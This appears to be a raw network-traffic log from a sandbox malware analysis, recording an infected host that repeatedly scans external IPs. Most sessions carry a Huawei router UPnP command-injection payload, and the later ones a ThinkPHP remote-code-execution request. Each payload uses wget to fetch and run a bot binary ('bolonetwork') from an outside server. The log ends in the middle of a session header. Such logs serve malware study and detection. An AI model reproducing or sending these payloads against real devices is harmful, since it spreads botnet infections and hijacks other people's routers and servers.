Jul 20, 2024 23:00:59.054913998 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	43614	157.210.89.153	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.054990053 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	49580	157.82.209.252	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.055000067 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	43024	157.42.124.218	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.055046082 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	60614	197.136.94.142	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.055058956 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	60900	157.237.43.90	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.055118084 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	43270	157.202.34.88	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.055157900 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	47022	157.16.61.193	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.055808067 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	55454	157.52.27.4	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.056488037 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	52346	41.246.201.30	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.062572002 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	50230	88.91.21.190	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.252670050 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	43964	88.76.214.90	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.255016088 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	45364	88.103.153.43	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.257129908 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	34890	88.236.162.163	80

Timestamp	Bytes transferred	Direction	Data
